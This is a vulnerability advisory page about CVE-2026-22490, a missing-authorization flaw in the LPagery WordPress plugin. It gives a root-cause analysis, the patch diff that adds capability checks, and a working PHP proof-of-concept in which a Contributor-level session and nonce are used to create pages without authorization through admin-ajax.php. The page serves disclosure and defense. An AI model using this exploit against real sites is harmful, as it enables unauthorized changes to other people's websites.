Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-22490: Bulk Landing Page Creator for WordPress LPagery <= 2.4.9 – Missing Authorization (lpagery)

Plugin lpagery
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 2.4.9
Patched Version 2.4.10
Disclosed January 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-22490:
The Bulk Page Generator – LPagery plugin for WordPress versions up to and including 2.4.9 contains a missing authorization vulnerability. This flaw allows authenticated attackers with Contributor-level permissions or higher to perform unauthorized administrative actions. The vulnerability affects multiple AJAX endpoints that lack proper capability checks, enabling privilege escalation within the WordPress environment.

Root Cause:
The vulnerability exists in the plugin’s AJAX handler functions within the file lpagery/src/io/AjaxActions.php. Multiple functions perform only nonce verification via check_ajax_referer() calls but lack capability checks. Functions including lpagery_create_page(), lpagery_upsert_process(), lpagery_create_onboarding_template_page(), lpagery_assign_page_set_to_me(), lpagery_update_process_managing_system_ajax(), and lpagery_trigger_look_sync_ajax() all execute administrative operations without verifying the user has appropriate permissions. The plugin’s authorization model relies solely on WordPress nonce validation, which fails to prevent lower-privileged users from accessing functions intended for Editors or Administrators.

Exploitation:
An attacker with Contributor-level access can send POST requests to /wp-admin/admin-ajax.php with the action parameter set to vulnerable endpoints. For example, to create unauthorized pages, the attacker would send a POST request with action=lpagery_create_page and appropriate parameters for page creation. To modify existing processes, the attacker would use action=lpagery_upsert_process with process configuration data. Each request requires a valid nonce, which Contributor users can obtain through normal plugin interface access. The attack vector leverages the plugin’s AJAX infrastructure to bypass WordPress’s native role-based access controls.

Patch Analysis:
The patch in version 2.4.10 introduces two new capability check functions: lpagery_require_admin() and lpagery_require_editor(). These functions verify current_user_can(‘manage_options’) and current_user_can(‘edit_pages’) respectively before allowing AJAX actions to proceed. The patch adds lpagery_require_editor() calls to functions that should be restricted to Editor-level users, including lpagery_create_page() (line 69), lpagery_upsert_process() (line 279), lpagery_create_onboarding_template_page() (line 397), lpagery_assign_page_set_to_me() (line 411), lpagery_update_process_managing_system_ajax() (line 433), and lpagery_trigger_look_sync_ajax() (line 561). The patch also adds lpagery_require_admin() to functions requiring Administrator privileges like lpagery_reset_data() (line 428) and lpagery_repair_database_schema_ajax() (line 571).

Impact:
Successful exploitation allows authenticated attackers with Contributor permissions to create, modify, and delete pages and processes managed by the LPagery plugin. Attackers can manipulate bulk page generation workflows, potentially creating unauthorized content or disrupting legitimate page generation operations. The vulnerability enables privilege escalation within the plugin’s context, allowing lower-privileged users to perform actions reserved for Editors and Administrators. While the impact is limited to the plugin’s functionality, it represents a significant breach of WordPress’s role-based access control system.

Differential between vulnerable and patched code

Code Diff
--- a/lpagery/lpagery.php
+++ b/lpagery/lpagery.php
@@ -4,7 +4,7 @@
 Plugin Name: LPagery
 Plugin URI: https://lpagery.io/
 Description: Create hundreds or even thousands of landingpages for local businesses, services etc.
-Version: 2.4.9
+Version: 2.4.10
 Author: LPagery
 License: GPLv2 or later
 */
@@ -14,6 +14,7 @@
 use LPageryfactoriesGoogleSheetSyncProcessHandlerFactory;
 use LPageryioMapper;
 use LPagerymodelProcessSheetSyncParams;
+use LPageryserviceimage_lookupAttachmentBasenameService;
 use LPageryserviceInstallationDateHandler;
 use LPageryservicesettingsSettingsController;
 use LPageryservicesheet_syncGoogleSheetQueueWorkerFactory;
@@ -589,6 +590,127 @@
         10,
         2
     );
+    // Keep basename lookup table in sync for fast attachment searches
+    // Note: add_attachment fires BEFORE _wp_attached_file metadata is set, so we use hooks that fire after
+    // Hook into attachment metadata generation (fires after _wp_attached_file is set for new uploads)
+    add_filter(
+        'wp_generate_attachment_metadata',
+        'lpagery_on_attachment_metadata_generated',
+        10,
+        2
+    );
+    function lpagery_on_attachment_metadata_generated(  $metadata, $attachment_id  ) {
+        $file = get_post_meta( $attachment_id, '_wp_attached_file', true );
+        if ( $file ) {
+            AttachmentBasenameService::get_instance()->insert( $attachment_id, $file );
+        }
+        return $metadata;
+    }
+
+    // Hook into attachment metadata updates
+    add_filter(
+        'wp_update_attachment_metadata',
+        'lpagery_on_attachment_metadata_updated',
+        10,
+        2
+    );
+    function lpagery_on_attachment_metadata_updated(  $metadata, $attachment_id  ) {
+        $file = get_post_meta( $attachment_id, '_wp_attached_file', true );
+        if ( $file ) {
+            AttachmentBasenameService::get_instance()->insert( $attachment_id, $file );
+        }
+        return $metadata;
+    }
+
+    // Hook into post meta addition (catches _wp_attached_file being set)
+    add_action(
+        'added_post_meta',
+        'lpagery_on_attachment_file_meta_added',
+        10,
+        4
+    );
+    function lpagery_on_attachment_file_meta_added(
+        $meta_id,
+        $post_id,
+        $meta_key,
+        $meta_value
+    ) {
+        if ( $meta_key === '_wp_attached_file' && $meta_value ) {
+            AttachmentBasenameService::get_instance()->insert( $post_id, $meta_value );
+        }
+    }
+
+    // Hook into post meta updates (catches _wp_attached_file being updated)
+    add_action(
+        'updated_post_meta',
+        'lpagery_on_attachment_file_meta_updated',
+        10,
+        4
+    );
+    function lpagery_on_attachment_file_meta_updated(
+        $meta_id,
+        $post_id,
+        $meta_key,
+        $meta_value
+    ) {
+        if ( $meta_key === '_wp_attached_file' && $meta_value ) {
+            AttachmentBasenameService::get_instance()->insert( $post_id, $meta_value );
+        }
+    }
+
+    // Hook into attachment edits
+    add_action( 'edit_attachment', 'lpagery_on_edit_attachment' );
+    function lpagery_on_edit_attachment(  $attachment_id  ) {
+        $file = get_post_meta( $attachment_id, '_wp_attached_file', true );
+        if ( $file ) {
+            AttachmentBasenameService::get_instance()->insert( $attachment_id, $file );
+        }
+    }
+
+    // Hook into attachment updates (fires when attachment post is updated)
+    add_action(
+        'attachment_updated',
+        'lpagery_on_attachment_updated',
+        10,
+        3
+    );
+    function lpagery_on_attachment_updated(  $post_id, $post_after, $post_before  ) {
+        $file = get_post_meta( $post_id, '_wp_attached_file', true );
+        if ( $file ) {
+            AttachmentBasenameService::get_instance()->insert( $post_id, $file );
+        }
+    }
+
+    // Hook into REST API attachment creation/updates
+    add_action(
+        'rest_after_insert_attachment',
+        'lpagery_on_rest_attachment_insert',
+        10,
+        3
+    );
+    function lpagery_on_rest_attachment_insert(  $attachment, $request, $creating  ) {
+        $file = get_post_meta( $attachment->ID, '_wp_attached_file', true );
+        if ( $file ) {
+            AttachmentBasenameService::get_instance()->insert( $attachment->ID, $file );
+        }
+    }
+
+    // Clean up basename lookup table when attachment is deleted
+    add_action( 'delete_attachment', 'lpagery_delete_attachment_basename' );
+    function lpagery_delete_attachment_basename(  $attachment_id  ) {
+        AttachmentBasenameService::get_instance()->delete( $attachment_id );
+    }
+
+    // Daily cron job to backfill the attachment basename lookup table
+    add_action( 'lpagery_backfill_attachment_basename', 'lpagery_backfill_attachment_basename' );
+    function lpagery_backfill_attachment_basename() {
+        AttachmentBasenameService::get_instance()->backfill();
+    }
+
+    // Schedule the daily backfill cron if not already scheduled
+    if ( !wp_next_scheduled( 'lpagery_backfill_attachment_basename' ) ) {
+        wp_schedule_event( time(), 'daily', 'lpagery_backfill_attachment_basename' );
+    }
     function lpagery_save_replace_filename_field(  $post, $attachment  ) {
         if ( isset( $attachment['lpagery_replace_filename'] ) ) {
             // Update or add the custom field value
--- a/lpagery/src/data/DbDeltaExecutor.php
+++ b/lpagery/src/data/DbDeltaExecutor.php
@@ -97,6 +97,15 @@
                 hashed_payload           varchar(255)      null,
                 KEY sync_queue_process_id (process_id),
                 PRIMARY KEY (id)
+            ) $charset_collate;",
+
+            "CREATE TABLE {$prefix}lpagery_attachment_basename (
+                attachment_id BIGINT UNSIGNED NOT NULL,
+                basename VARCHAR(191) NOT NULL,
+                basename_no_ext VARCHAR(191) NOT NULL,
+                KEY idx_basename (basename),
+                KEY idx_basename_no_ext (basename_no_ext),
+                PRIMARY KEY (attachment_id)
             ) $charset_collate;"
         ];

--- a/lpagery/src/data/LPageryDatabaseMigrator.php
+++ b/lpagery/src/data/LPageryDatabaseMigrator.php
@@ -4,8 +4,8 @@

 use LPageryfactoriesInputParamProviderFactory;
 use LPageryfactoriesSubstitutionHandlerFactory;
+use LPageryserviceimage_lookupAttachmentBasenameService;
 use LPageryutilsUtils;
-use Throwable;

 class LPageryDatabaseMigrator
 {
@@ -304,5 +304,25 @@
             $wpdb->query("create index process_post_hashed_payload_process_id on $table_name_process_post (hashed_payload, lpagery_process_id)");
             update_option("lpagery_database_version", 14);
         }
+
+        if ($db_version < 15 && $this->lpagery_table_exists_migrate($table_name_process_post)) {
+            $table_name_attachment_basename = $wpdb->prefix . 'lpagery_attachment_basename';
+
+            $sql_attachment_basename = "CREATE TABLE {$table_name_attachment_basename} (
+                attachment_id BIGINT UNSIGNED NOT NULL,
+                basename VARCHAR(191) NOT NULL,
+                basename_no_ext VARCHAR(191) NOT NULL,
+                KEY idx_basename (basename),
+                KEY idx_basename_no_ext (basename_no_ext),
+                PRIMARY KEY (attachment_id)
+            ) $charset_collate";
+
+            $wpdb->query($sql_attachment_basename);
+
+            // Backfill from existing attachments
+            AttachmentBasenameService::get_instance()->backfill();
+
+            update_option("lpagery_database_version", 15);
+        }
     }
 }
 No newline at end of file
--- a/lpagery/src/io/AjaxActions.php
+++ b/lpagery/src/io/AjaxActions.php
@@ -15,9 +15,22 @@
 use LPageryioCreatePageDebugger;
 use LPageryiosuiteSuiteClient;
 use LPagerymodelProcessSheetSyncParams;
+use LPageryserviceimage_lookupAttachmentBasenameService;
 use LPageryservicesettingsSettingsController;
 use LPageryutilsUtils;

+function lpagery_require_admin() {
+    if (!current_user_can('manage_options')) {
+        wp_send_json(array("success" => false, "exception" => 'You do not have permission to perform this action.'));
+    }
+}
+
+function lpagery_require_editor() {
+    if (!current_user_can('edit_pages')) {
+        wp_send_json(array("success" => false, "exception" => 'You do not have permission to perform this action.'));
+    }
+}
+
 add_action('wp_ajax_lpagery_sanitize_slug', 'LPagerylpagery_sanitize_slug');

 function lpagery_sanitize_slug()
@@ -53,6 +66,7 @@
     global $wpdb;

     $nonce_validity = check_ajax_referer('lpagery_ajax');
+    lpagery_require_editor();

     // Check if debug mode is enabled
     $debug_mode = isset($_POST['debug_mode']) && rest_sanitize_boolean($_POST['debug_mode']);
@@ -262,6 +276,7 @@
 function lpagery_upsert_process()
 {
     check_ajax_referer('lpagery_ajax');
+    lpagery_require_editor();
     try {
         $processController = ProcessController::get_instance();
         $upsertParams = LPagerymodelUpsertProcessParams::fromArray($_POST, "plugin");
@@ -367,6 +382,7 @@
 function lpagery_create_onboarding_template_page()
 {
     check_ajax_referer('lpagery_ajax');
+    lpagery_require_editor();

     $utilityController = UtilityController::get_instance();
     $result = $utilityController->createOnboardingTemplatePage();
@@ -378,6 +394,7 @@
 function lpagery_assign_page_set_to_me()
 {
     check_ajax_referer('lpagery_ajax');
+    lpagery_require_editor();
     try {
         $process_id = isset($_POST['process_id']) ? (int)$_POST['process_id'] : null;
         if (!$process_id) {
@@ -398,6 +415,7 @@
 function lpagery_reset_data()
 {
     check_ajax_referer('lpagery_ajax');
+    lpagery_require_admin();

     // Get delete_pages parameter
     $delete_pages = isset($_POST['delete_pages']) ? rest_sanitize_boolean($_POST['delete_pages']) : false;
@@ -412,6 +430,7 @@
 function lpagery_update_process_managing_system_ajax()
 {
     check_ajax_referer('lpagery_ajax');
+    lpagery_require_editor();
     $id = isset($_POST['id']) ? (int)$_POST['id'] : 0;
     $LPageryDao = LPageryDao::get_instance();

@@ -498,6 +517,7 @@
 function lpagery_trigger_look_sync_ajax()
 {
     check_ajax_referer('lpagery_ajax');
+    lpagery_require_editor();

     try {
         $page_set_id = isset($_POST['page_set_id']) ? intval($_POST['page_set_id']) : 0;
@@ -538,6 +558,7 @@
 function lpagery_repair_database_schema_ajax()
 {
     check_ajax_referer('lpagery_ajax');
+    lpagery_require_admin();

     $dbDeltaExecutor = new DbDeltaExecutor();
     $error = $dbDeltaExecutor->run();
@@ -545,8 +566,10 @@
         wp_send_json(array("success" => false,
             "exception" => $error));
     } else {
+        $rows_inserted = AttachmentBasenameService::get_instance()->backfill();
+
         wp_send_json(array("success" => true,
-            "message" => 'Database schema repaired successfully.'));
+            "message" => "Database schema repaired successfully. Attachment basename index updated ({$rows_inserted} entries)."));
     }
 }

--- a/lpagery/src/service/image_lookup/AttachmentBasenameService.php
+++ b/lpagery/src/service/image_lookup/AttachmentBasenameService.php
@@ -0,0 +1,268 @@
+<?php
+
+namespace LPageryserviceimage_lookup;
+
+class AttachmentBasenameService
+{
+    private static ?AttachmentBasenameService $instance = null;
+
+    public static function get_instance(): AttachmentBasenameService
+    {
+        if (self::$instance === null) {
+            self::$instance = new AttachmentBasenameService();
+        }
+        return self::$instance;
+    }
+
+    /**
+     * Get the basename lookup table name
+     */
+    public function get_table_name(): string
+    {
+        global $wpdb;
+        return $wpdb->prefix . 'lpagery_attachment_basename';
+    }
+
+    /**
+     * Insert or update an attachment in the basename lookup table
+     */
+    public function insert(int $attachment_id, string $filepath): void
+    {
+        global $wpdb;
+        $basename = basename($filepath);
+        $basename_no_ext = pathinfo($basename, PATHINFO_FILENAME);
+
+        $wpdb->replace(
+            $this->get_table_name(),
+            [
+                'attachment_id' => $attachment_id,
+                'basename' => $basename,
+                'basename_no_ext' => $basename_no_ext
+            ],
+            ['%d', '%s', '%s']
+        );
+    }
+
+    /**
+     * Delete an attachment from the basename lookup table
+     */
+    public function delete(int $attachment_id): void
+    {
+        global $wpdb;
+        $wpdb->delete(
+            $this->get_table_name(),
+            ['attachment_id' => $attachment_id],
+            ['%d']
+        );
+    }
+
+    /**
+     * Search for attachments by exact basename (with extension)
+     *
+     * @return array Array of objects with ID property
+     */
+    public function search_by_basename(string $basename): array
+    {
+        global $wpdb;
+        $table = $this->get_table_name();
+
+        $query = $wpdb->prepare(
+            "SELECT ab.attachment_id as ID
+             FROM {$table} ab
+             INNER JOIN {$wpdb->posts} p ON p.ID = ab.attachment_id
+             WHERE p.post_type = 'attachment'
+             AND p.post_status IN ('inherit','private')
+             AND ab.basename = %s
+             LIMIT 20",
+            $basename
+        );
+
+        return $wpdb->get_results($query) ?: [];
+    }
+
+    /**
+     * Search for attachments by basename without extension
+     *
+     * @return array Array of objects with ID property
+     */
+    public function search_by_basename_no_ext(string $basename_no_ext): array
+    {
+        global $wpdb;
+        $table = $this->get_table_name();
+
+        $query = $wpdb->prepare(
+            "SELECT ab.attachment_id as ID
+             FROM {$table} ab
+             INNER JOIN {$wpdb->posts} p ON p.ID = ab.attachment_id
+             WHERE p.post_type = 'attachment'
+             AND p.post_status IN ('inherit','private')
+             AND ab.basename_no_ext = %s
+             LIMIT 20",
+            $basename_no_ext
+        );
+
+        return $wpdb->get_results($query) ?: [];
+    }
+
+    /**
+     * Search for attachments - automatically chooses the right column based on whether
+     * the search term has an extension
+     *
+     * @return array Array of objects with ID property
+     */
+    public function search(string $name): array
+    {
+        $search_basename = basename(urldecode($name));
+        $has_extension = pathinfo($search_basename, PATHINFO_EXTENSION) !== '';
+
+        if ($has_extension) {
+            return $this->search_by_basename($search_basename);
+        } else {
+            return $this->search_by_basename_no_ext($search_basename);
+        }
+    }
+
+    /**
+     * Search for attachments with multiple filename variations.
+     * Tries: exact basename, basename_no_ext, jpg/jpeg equivalents, and -scaled removal.
+     *
+     * @return array Array of objects with ID property
+     */
+    public function search_with_variations(string $name): array
+    {
+        $variations = $this->get_search_variations($name);
+
+        foreach ($variations as $variation) {
+            // Try exact basename match first
+            $results = $this->search_by_basename($variation['basename']);
+            if (!empty($results)) {
+                return $results;
+            }
+
+            // Try basename without extension
+            $results = $this->search_by_basename_no_ext($variation['basename_no_ext']);
+            if (!empty($results)) {
+                return $results;
+            }
+        }
+
+        return [];
+    }
+
+    /**
+     * Generate all search variations for a filename.
+     * Includes: original, jpg/jpeg swapped, -scaled removed, and combinations.
+     *
+     * @return array Array of variations, each with 'basename' and 'basename_no_ext' keys
+     */
+    private function get_search_variations(string $name): array
+    {
+        $search_basename = basename(urldecode($name));
+        $variations = [];
+        $seen = [];
+
+        // Helper to add a variation if not already seen
+        $addVariation = function(string $basename) use (&$variations, &$seen) {
+            $basename_no_ext = pathinfo($basename, PATHINFO_FILENAME);
+            $key = strtolower($basename . '|' . $basename_no_ext);
+            if (!isset($seen[$key])) {
+                $seen[$key] = true;
+                $variations[] = [
+                    'basename' => $basename,
+                    'basename_no_ext' => $basename_no_ext
+                ];
+            }
+        };
+
+        // Get all base variations (original, jpg/jpeg swapped, -scaled removed, combined)
+        $base_variations = $this->get_base_variations($search_basename);
+
+        foreach ($base_variations as $basename) {
+            $addVariation($basename);
+        }
+
+        return $variations;
+    }
+
+    /**
+     * Generate base filename variations (jpg/jpeg swap and -scaled removal).
+     *
+     * @return array Array of filename strings
+     */
+    private function get_base_variations(string $basename): array
+    {
+        $variations = [$basename];
+
+        $extension = strtolower(pathinfo($basename, PATHINFO_EXTENSION));
+        $filename = pathinfo($basename, PATHINFO_FILENAME);
+
+        // Handle jpg <-> jpeg equivalence
+        $jpeg_variant = null;
+        if ($extension === 'jpg') {
+            $jpeg_variant = $filename . '.jpeg';
+            $variations[] = $jpeg_variant;
+        } elseif ($extension === 'jpeg') {
+            $jpeg_variant = $filename . '.jpg';
+            $variations[] = $jpeg_variant;
+        }
+
+        // Handle -scaled removal
+        if (str_ends_with(strtolower($filename), '-scaled')) {
+            $filename_no_scaled = substr($filename, 0, -7); // Remove '-scaled'
+
+            // Add without -scaled (with original extension)
+            if ($extension) {
+                $no_scaled_variant = $filename_no_scaled . '.' . $extension;
+                $variations[] = $no_scaled_variant;
+
+                // Also add jpg/jpeg variant without -scaled
+                if ($extension === 'jpg') {
+                    $variations[] = $filename_no_scaled . '.jpeg';
+                } elseif ($extension === 'jpeg') {
+                    $variations[] = $filename_no_scaled . '.jpg';
+                }
+            } else {
+                $variations[] = $filename_no_scaled;
+            }
+        }
+
+        return array_unique($variations);
+    }
+
+    /**
+     * Backfill the basename lookup table from all existing attachments.
+     * Uses INSERT IGNORE to avoid duplicates.
+     *
+     * @return int Number of rows inserted
+     */
+    public function backfill(): int
+    {
+        global $wpdb;
+        $table = $this->get_table_name();
+
+        // Use a subquery to extract basename first, then compute basename_no_ext
+        // by extracting text before the LAST dot (matching PHP's pathinfo behavior).
+        // For files like "image.backup.jpg", this returns "image.backup" not "image".
+        $wpdb->query("
+            INSERT IGNORE INTO {$table} (attachment_id, basename, basename_no_ext)
+            SELECT
+                attachment_id,
+                basename,
+                IF(
+                    LOCATE('.', basename) = 0,
+                    basename,
+                    SUBSTRING_INDEX(basename, '.', CHAR_LENGTH(basename) - CHAR_LENGTH(REPLACE(basename, '.', '')))
+                ) as basename_no_ext
+            FROM (
+                SELECT
+                    pm.post_id as attachment_id,
+                    SUBSTRING_INDEX(pm.meta_value, '/', -1) as basename
+                FROM {$wpdb->postmeta} pm
+                WHERE pm.meta_key = '_wp_attached_file'
+            ) as derived
+        ");
+
+        return $wpdb->rows_affected;
+    }
+}
+
--- a/lpagery/src/service/settings/Settings.php
+++ b/lpagery/src/service/settings/Settings.php
@@ -4,6 +4,7 @@
 {
     public bool $spintax;
     public bool $image_processing;
+    public bool $image_partial_match;
     public array $custom_post_types;
     public int $author_id;
     public string $hierarchical_taxonomy_handling;
--- a/lpagery/src/service/settings/SettingsController.php
+++ b/lpagery/src/service/settings/SettingsController.php
@@ -79,6 +79,7 @@
         $userSettings = [
             'spintax' => $settings->spintax,
             'image_processing' => $settings->image_processing,
+            'image_partial_match' => $settings->image_partial_match,
             'custom_post_types' => $settings->custom_post_types,
             'hierarchical_taxonomy_handling' => $settings->hierarchical_taxonomy_handling,
             'author_id' => $settings->author_id,
@@ -141,6 +142,7 @@
         $userOptions = [
             'spintax' => false,
             'image_processing' => lpagery_fs()->is_plan_or_trial("extended"),
+            'image_partial_match' => true,
             'custom_post_types' => [],
             'author_id' => get_current_user_id(),
         ];
@@ -152,6 +154,7 @@
         $settings = new Settings();
         $settings->spintax = false;
         $settings->image_processing = false;
+        $settings->image_partial_match = true;
         $settings->custom_post_types = [];
         $settings->author_id = get_current_user_id();
         $settings->google_sheet_sync_interval = "hourly";
@@ -187,6 +190,7 @@
         $settings = new Settings();
         $settings->spintax = filter_var($userOptions['spintax'] ?? false, FILTER_VALIDATE_BOOLEAN);
         $settings->image_processing = filter_var($userOptions['image_processing'] ?? lpagery_fs()->is_plan_or_trial("extended"), FILTER_VALIDATE_BOOLEAN);
+        $settings->image_partial_match = filter_var($userOptions['image_partial_match'] ?? true, FILTER_VALIDATE_BOOLEAN);
         $settings->custom_post_types = $custom_post_types;
         $settings->hierarchical_taxonomy_handling = $userOptions['hierarchical_taxonomy_handling'] ?? 'last';
         $settings->author_id = $userOptions['author_id'] ?? get_current_user_id();
@@ -248,6 +252,17 @@
     }

     /**
+     * Checks if image partial match (LIKE fallback) is enabled
+     */
+    public function isImagePartialMatchEnabled($processId = null): bool
+    {
+        $userId = $this->getUserId($processId);
+        $userSettings = $this->getUserSettings($userId);
+
+        return filter_var($userSettings['image_partial_match'] ?? true, FILTER_VALIDATE_BOOLEAN);
+    }
+
+    /**
      * Checks if spintax is enabled
      */
     public function isSpintaxEnabled($processId = null): bool
@@ -337,6 +352,7 @@
             $userOptions = [
                 'spintax' => false,
                 'image_processing' => lpagery_fs()->is_plan_or_trial("extended"),
+                'image_partial_match' => true,
                 'custom_post_types' => [],
                 'hierarchical_taxonomy_handling' => 'last',
                 'author_id' => get_current_user_id(),
--- a/lpagery/vendor/composer/autoload_classmap.php
+++ b/lpagery/vendor/composer/autoload_classmap.php
@@ -55,6 +55,7 @@
     'LPagery\service\duplicates\DuplicateSlugProvider' => $baseDir . '/src/service/duplicates/DuplicateSlugProvider.php',
     'LPagery\service\duplicates\DuplicateSlugResult' => $baseDir . '/src/service/duplicates/DuplicateSlugResult.php',
     'LPagery\service\duplicates\ExistingSlugResult' => $baseDir . '/src/service/duplicates/ExistingSlugResult.php',
+    'LPagery\service\image_lookup\AttachmentBasenameService' => $baseDir . '/src/service/image_lookup/AttachmentBasenameService.php',
     'LPagery\service\media\AttachmentHelper' => $baseDir . '/src/service/media/AttachmentHelper.php',
     'LPagery\service\media\AttachmentMetadataUpdater' => $baseDir . '/src/service/media/AttachmentMetadataUpdater.php',
     'LPagery\service\media\AttachmentReplacementProvider' => $baseDir . '/src/service/media/AttachmentReplacementProvider.php',
--- a/lpagery/vendor/composer/autoload_static.php
+++ b/lpagery/vendor/composer/autoload_static.php
@@ -83,6 +83,7 @@
         'LPagery\service\duplicates\DuplicateSlugProvider' => __DIR__ . '/../..' . '/src/service/duplicates/DuplicateSlugProvider.php',
         'LPagery\service\duplicates\DuplicateSlugResult' => __DIR__ . '/../..' . '/src/service/duplicates/DuplicateSlugResult.php',
         'LPagery\service\duplicates\ExistingSlugResult' => __DIR__ . '/../..' . '/src/service/duplicates/ExistingSlugResult.php',
+        'LPagery\service\image_lookup\AttachmentBasenameService' => __DIR__ . '/../..' . '/src/service/image_lookup/AttachmentBasenameService.php',
         'LPagery\service\media\AttachmentHelper' => __DIR__ . '/../..' . '/src/service/media/AttachmentHelper.php',
         'LPagery\service\media\AttachmentMetadataUpdater' => __DIR__ . '/../..' . '/src/service/media/AttachmentMetadataUpdater.php',
         'LPagery\service\media\AttachmentReplacementProvider' => __DIR__ . '/../..' . '/src/service/media/AttachmentReplacementProvider.php',

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-22490 - Bulk Landing Page Creator for WordPress LPagery <= 2.4.9 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2026-22490
 * Requires Contributor-level WordPress access and a valid nonce
 * Demonstrates unauthorized page creation via missing capability check
 */

$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$nonce = 'VALID_NONCE_HERE'; // Obtain from plugin interface as Contributor
$cookie = 'wordpress_logged_in_XXXX=XXXX'; // Contributor session cookie

// Prepare page creation payload
$payload = [
    'action' => 'lpagery_create_page',
    '_ajax_nonce' => $nonce,
    'process_id' => 1, // Existing process ID
    'row_index' => 0,
    'debug_mode' => false,
    'data' => json_encode([
        'title' => 'Unauthorized Page',
        'content' => 'Created via CVE-2026-22490',
        'slug' => 'unauthorized-page'
    ])
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'Cookie: ' . $cookie
]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Parse response
$result = json_decode($response, true);
if ($result && isset($result['success']) && $result['success']) {
    echo "[+] SUCCESS: Unauthorized page created. Page ID: " . ($result['page_id'] ?? 'Unknown') . "n";
    echo "    Response: " . json_encode($result) . "n";
} else {
    echo "[-] FAILED: HTTP $http_coden";
    echo "    Response: " . $response . "n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School